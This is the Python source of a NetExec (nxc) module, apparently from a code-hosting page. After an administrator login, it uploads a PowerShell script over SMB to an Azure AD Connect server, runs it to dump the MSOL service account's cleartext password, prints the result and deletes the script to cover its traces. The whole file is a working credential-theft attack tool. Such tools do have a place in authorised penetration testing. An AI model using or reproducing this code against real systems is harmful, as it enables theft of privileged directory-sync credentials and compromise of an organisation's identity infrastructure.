89 lines
3.3 KiB
Python
89 lines
3.3 KiB
Python
# MSOL module for nxc
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# Author of the module : https://twitter.com/Daahtk
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# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
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from sys import exit
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from os import path
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from nxc.helpers.powershell import get_ps_script
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class NXCModule:
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name = "msol"
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description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
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supported_protocols = ["smb"]
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opsec_safe = True
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multiple_hosts = True
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def __init__(self, context=None, module_options=None):
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self.use_embedded = None
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self.MSOL_PS1 = None
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self.msol_embedded = None
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self.cmd = None
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self.msolmdl = None
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self.msol = None
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self.tmp_share = None
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self.share = None
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self.tmp_dir = None
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self.context = context
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self.module_options = module_options
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def options(self, context, module_options):
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"""
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MSOL_PS1 // Path to the msol binary on your computer
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"""
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self.tmp_dir = "C:\\Windows\\Temp\\"
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self.share = "C$"
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self.tmp_share = self.tmp_dir.split(":")[1]
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self.msol = "msol.ps1"
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self.use_embedded = True
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self.msolmdl = self.cmd = ""
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with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
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self.msol_embedded = msolsc.read()
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if "MSOL_PS1" in module_options:
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self.MSOL_PS1 = module_options["MSOL_PS1"]
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self.use_embedded = False
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def exec_script(self, _, connection):
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command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
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return connection.execute(command, True)
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def on_admin_login(self, context, connection):
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if self.use_embedded:
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file_to_upload = "/tmp/msol.ps1"
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with open(file_to_upload, "w") as msol:
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msol.write(self.msol_embedded)
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else:
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if path.isfile(self.MSOL_PS1):
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file_to_upload = self.MSOL_PS1
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else:
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context.log.fail(f"Cannot open {self.MSOL_PS1}")
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exit(1)
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context.log.display(f"Uploading {self.msol}")
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with open(file_to_upload, "rb") as msol:
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try:
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connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
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context.log.success(f"Msol script successfully uploaded")
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except Exception as e:
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context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
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return
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try:
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if self.cmd == "":
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context.log.display(f"Executing the script")
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p = self.exec_script(context, connection)
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for line in p.splitlines():
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p1, p2 = line.split(" ", 1)
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context.log.highlight(f"{p1} {p2}")
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else:
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context.log.fail(f"Script Execution Impossible")
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except Exception as e:
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context.log.fail(f"Error running command: {e}")
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finally:
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try:
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connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
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context.log.success(f"Msol script successfully deleted")
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except Exception as e:
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context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
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